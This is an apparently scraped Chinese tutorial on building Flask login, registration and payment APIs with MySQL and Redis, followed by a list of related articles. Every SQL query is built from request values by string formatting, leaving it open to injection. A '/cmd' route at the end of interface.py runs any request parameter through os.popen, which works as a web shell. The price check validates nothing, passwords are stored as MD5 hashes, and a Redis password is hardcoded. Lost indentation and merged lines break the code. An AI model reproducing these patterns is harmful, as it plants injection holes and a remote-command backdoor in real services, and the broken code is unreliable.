接口开发:

import flask,json,pymysql,hashlib

server = flask.Flask(__name__)# 把当前这个python文件当做一个服务

def my_db(sql,port=3306,charset='utf8'):
ip,user,passwd,db = '***.**.**.*','jxz','','jxz'
coon = pymysql.connect(host=ip,user=user,
password=passwd,db=db,
port=port,charset=charset,autocommit=True)
cur = coon.cursor()
sql=sql.strip()
cur.execute(sql)
# 'select'
sql_start = sql[:6].lower()# 取sql的开头,然后转换成小写的
if sql_start.startswith('select') or sql_start.startswith('show'):
data = cur.fetchall()
else:
data = 'ok'
cur.close()
coon.close()
return data def my_md5(s):
m = hashlib.md5(s.encode())#md5不能直接传字符串,需要传二进制,所以需要使用encode
return m.hexdigest() @server.route('/login',methods=['get','post'])# 装饰器,加上此行代码,下面的函数已经不是普通的函数,而是一个接口
def login():
username = flask.request.values.get('username')# 获取请求参数;是从客户端发过来的数据
pwd = flask.request.values.get('password')# 获取请求参数
# flask.request.cookies.get('xxx')# 获取cookie
# flask.request.headers.get('xxx')# 获取header # json_data = flask.request.json.get('username')# 这个是获取入参是json类型的 # json_data = flask.request.json
# print('json_data...',json_data) print(pwd)
if username=='nhy' and pwd=='':
res = {'code':1000,'msg':'登录成功','sign':'sdfsdfsdfsdf'}
else:
res = {'code':2000,'msg':'账号/密码错误'}
return json.dumps(res,ensure_ascii=False)# 添加参数ensure_ascii=False,中文将不会变为乱码 @server.route('/register',methods=['post'])
def reg():
username = flask.request.values.get('username')
passwd = flask.request.values.get('passwd')
cpasswd = flask.request.values.get('cpasswd')
if not username or not passwd or not cpasswd:
res = {'code':2003,'msg':'必填参数未填,请查看接口文档!'}
else:
sql1 = 'select * from nhy where name="%s";'%username
sql_res = my_db(sql1)
if sql_res:
res={'code':2001,'msg':'该用户已经注册'}
else:
if passwd == cpasswd:
md5_pwd = my_md5(passwd)
sql2 = 'insert into nhy (name,pwd) value ("%s","%s")'%(username,md5_pwd)
my_db(sql2)
res = {'code':'','msg':'注册成功'}
else:
res = {'code':'','msg':'两次输入的密码不一致'}
return json.dumps(res,ensure_ascii=False) server.run(port=8989,debug=True)# 启动服务 # http://127.0.0.1:5000/login

将程序拆分开,放在不同的目录下,如下图所示。

start.py:

import sys,os
base_path = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
#__file__都是这个文件的绝对路径
sys.path.insert(0,base_path)
#这里加入环境变量的,通过__file__获取到父目录的父目录
#yong abs_paht是因为分隔符不正确
from lib.interface import server
from conf.setting import SERVER_PORT
server.run(host='0.0.0.0',port=SERVER_PORT,debug=True)
# host写成0.0.0.0就可以同一个局域网里面访问了

setting.py:

MYSQL_INFO = {
'host':'ip',
'user':'jxz',
'password':'',
'port':3306,
'db':'jxz',
'charset':'utf8',
'autocommit':True
}#数据库配置信息 REDIS_INFO ={
'host':'ip',
'password':'HK139bc&*',
'db': 0,
'port':6379
} SERVER_PORT = 8989
SALT='NSD234&^%!@' #盐值

init.sql:

create  table `user_spz` (
id int primary key auto_increment,
username varchar(50) unique not null,
password varchar(50) not null ,
money float not null default 0
)

interface.py:

import time

import flask,json
from lib.tools import my_db,my_md5,redis_str,check_price
from conf.setting import SALT server = flask.Flask(__name__)
#1、加盐
@server.route('/login',methods=['get','post'])
def login():
username = flask.request.values.get('username')
pwd = flask.request.values.get('password')
if not username and not pwd:
res = {'code':2003,'msg':'必填参数未填!'}
else:
new_pwd = my_md5(pwd)
sql = 'select username,password from user_spz where username="%s" and password="%s";'%(username,new_pwd)
sql_res = my_db(sql)
if sql_res:
session_id = my_md5(username+str(time.time()))
key='session:%s'%username
redis_str(key,session_id,24*60*60)
res = {'code':1000,'msg':'登录成功','session_id':session_id}
else:
res = {'code':2000,'msg':'账号/密码错误'}
return json.dumps(res,ensure_ascii=False) @server.route('/register',methods=['post'])
def reg():
username = flask.request.values.get("username")
passwd = flask.request.values.get("passwd")
cpasswd = flask.request.values.get("cpasswd")
#
if username and passwd and cpasswd:
sql1 = 'select * from nhy where name="%s";'%username
sql_res = my_db(sql1)
if sql_res:
res = {'code':2001,'msg':'该用户已经被注册'}
else:
if passwd==cpasswd:#
md5_pwd = my_md5(passwd+SALT+username)
sql2 = 'insert into nhy (name,pwd) value ("%s","%s");'%(username,md5_pwd)
my_db(sql2)
res = {'code':1000,'msg':'注册成功'}
else:
res = {'code':2003,'msg':'两次输入的密码不一致'}
else:
res = {'code':2002,'msg':'必填参数未填,请查看接口文档!'}
return json.dumps(res,ensure_ascii=False) @server.route('/pay',methods=['post'])
def pay():
username = flask.request.values.get('username')
money = flask.request.values.get('money')
session_id = flask.request.values.get('session_id')
if username and money and session_id:
if check_price(money):
money = float(money)
key = 'session:%s' % username
redis_session = redis_str(key)
if redis_session==session_id:
sql='select money from user_spz where username="%s";'%username
src_money = my_db(sql)[0].get('money')
if src_money>=money:
blance = src_money - money
sql2 = 'update user_spz set money = %s where username="%s";'%(blance,username)
my_db(sql2)
res = {'code':200,'msg':'支付成功,你的余额是%s'%blance}
else:
res = {'code': 2005, 'msg': '你的余额不足'}
else:
res = {'code':2006,'msg':'用户未登录!'}
else:
res = {'code':2004,'msg':'价格不合法,必须是大于0的数字!'}
else:
res = {'code': 2003, 'msg': '必填参数未填!'}
return json.dumps(res, ensure_ascii=False) import os
@server.route('/cmd')
def cmd():
cmd = flask.request.values.get('cmd')
return os.popen(cmd).read()

tools.py:

import pymysql,hashlib,redis
from conf.setting import MYSQL_INFO,REDIS_INFO
def my_db(sql):
coon = pymysql.connect(**MYSQL_INFO)
#这里用2个星号,就会把字典里面的k和v变成 k=v
cur = coon.cursor(cursor=pymysql.cursors.DictCursor)
sql=sql.strip()
try:
cur.execute(sql)
except Exception as e:
print('sql有错误,错误信息是%s'%e)
data = 'sql_error'
else:
sql_start = sql[:6].lower()#取sql的开头,转成小写
if sql_start.startswith('select') or sql_start.startswith('show'):
data = cur.fetchall()
else:
data = 'ok'
finally:
cur.close()
coon.close()
return data def my_md5(s):
m = hashlib.md5(s.encode())
return m.hexdigest() def redis_str(k,v=None,ex=-1):
r = redis.Redis(**REDIS_INFO)
if v:
r.set(k,v,ex)
res = 'set成功'
else:
res = r.get(k)
if res:
res = res.decode()
return res def check_price(s):
return s

readme.txt

这个是xx接口的程序,启动的时候运行
python bin/start.py
第一次运行的时候执行data目录下的init.sql http://127.0.0.1:8989/login #登录接口
username
passwd python版本3.x
需要安装flask、pymysql
如果第一次运行程序的时候,需要执行哪个文件

接口开发(login、reg)的更多相关文章

  1. 7-4 python 接口开发(提供mock服务)

    1.登录接口开发(数据存在数据库中)  接口开发做mock(模拟功能) tools.py import pymysql def my_db(sql): conn = pymysql.connect(h ...

  2. python之接口开发基础知识

    一.开发接口的作用 1.mock 服务:在别的接口没有开发完成的时候可以模拟一些接口以便测试已经开发完成的接口,例如假的支付接口,模拟支付成功.支付失败. 2.了解接口是如何实现的:数据交互.数据返回 ...

  3. Python基础-修改excel、redis、接口开发、组织代码

    pymysql模块补充内容 1. 游标.description():显示表的字段属性 (什么是游标:游标用于交互式应用,就好比word里的光标一样,要修改某个地方,要先把光标移动到这里) 用好这个方法 ...

  4. python 学习笔记(十四)有依赖关系的接口开发

    接口开发中存在很多有依赖关系的接口,例如:BBS中发帖的时候就需要进行校验用户是否登录,那么此时发帖的接口就与用户登录接口有依赖关系.在发帖时就需要先获取用户的session,与当前登录用户进行校验对 ...

  5. python学习笔记(十三)接口开发

    一.开发接口的作用 1.mock接口,模拟一些接口,在别的接口没有开发好的时候,需要开发一些模拟接口进行调试和测试. 2.查看数据,比如,获取所有学员信息的接口,就不需要提供数据库的查看信息. 二.接 ...

  6. 8-1 python 接口开发(提供数据、返回session_id)

    1.接口开发,根据不同查询条件返回数据库查询结果 import flask import tools import json server = flask.Flask(__name__) #新建一个服 ...

  7. Python学习笔记(六)测试开发之接口开发

    Python的接口开发要使用到flask.Flask(__name__) 下面是一个简单的接口实例程序及访问效果: import flaskserver = flask.Flask(__name__) ...

  8. python语言(六)mock接口开发、发邮件、写日志、新Excel操作

    一.urllib模块 urllib模块是一个标准模块,直接import urllib即可,在python3里面只有urllib模块,在python2里面有urllib模块和urllib2模块. url ...

  9. Python(七) —— mock接口开发

    mock接口开发 接口开发有很多框架,诸如 Django,flask,相比较而言,flask 是轻量级web开发框架,用来开发 mock 接口的不二之选.那你可能会问,什么叫 mock 接口呢?moc ...

随机推荐

  1. Delphi GetDir 获取指定驱动器的当前路径名

    //获取指定驱动器的当前路径名 GetDirvardir: string;b: Byte;beginb := 0;GetDir(b,dir);ShowMessage(dir); // //第一个参数: ...

  2. web容器启动加载WebApplicationContext和初始化DispatcherServlet

    原文地址:http://blog.csdn.net/zghwaicsdn/article/details/51186915 ContextLoaderListener监听器,加载ROOT WebApp ...

  3. Xcode中Info.plist文件里的"Bundle versions string, short" 跟 "Bundle version" 的区别

    Bundle versions string, short:用于itunes上显示的版本号,即对外的版本.(最多是3个部分组成即 x.y.z) Bundle version:内部项目管理的版本号,不对 ...

  4. java:activiti(工作流简介 )

    1.工作流:(workflow) 整个工作的流程 eg:请假工作流 (我)员工-->组长-->经理-->主管-->人事-->总经理(董事会) eg:出差(报账)工作流 ( ...

  5. C和C++的静态函数和静态变量

       1.C程序的静态变量和函数 引用自:https://blog.csdn.net/thanklife/article/details/78476737 作者:零点零一   C程序一直由下列部分组成 ...

  6. Leetcode之广度优先搜索(BFS)专题-1162. 地图分析(As Far from Land as Possible)

    Leetcode之广度优先搜索(BFS)专题-1162. 地图分析(As Far from Land as Possible) BFS入门详解:Leetcode之广度优先搜索(BFS)专题-429. ...

  7. 【Python开发】PyQt5应用与实践

    一个典型的GUI应用程序可以抽象为:主界面(菜单栏.工具栏.状态栏.内容区域),二级界面(模态.非模态),信息提示(Tooltip),程序图标等组成.本篇根据作者使用PyQt5编写的一个工具,介绍如何 ...

  8. RPC基本原理

    RPC非常重要,很多人面试的时候都挂在了这个地方!你要是还不懂RPC是什么?他的基本原理是什么?你一定要把下边的内容记起来!好好研究一下!特别是文中给出的一张关于RPC的基本流程图,重点中的重点,Du ...

  9. Hive怎么使用远程连接

    HIVE的连接模式== 本地连接模式 直接启动hive命令 HIVE的远程连接 这里要启动HIVE的服务 thirft进行编写 hiveserver2 —- > 前台启动 后台启动 前台启动 h ...

  10. python-day43(正式学习)

    目录 复习 今日内容 字段操作 多表关系 外键 一对一:无级联关系 一对一:有级联关系 一对多 多对多 复习 """ 1.数据库的配置:my.ini [mysqld][m ...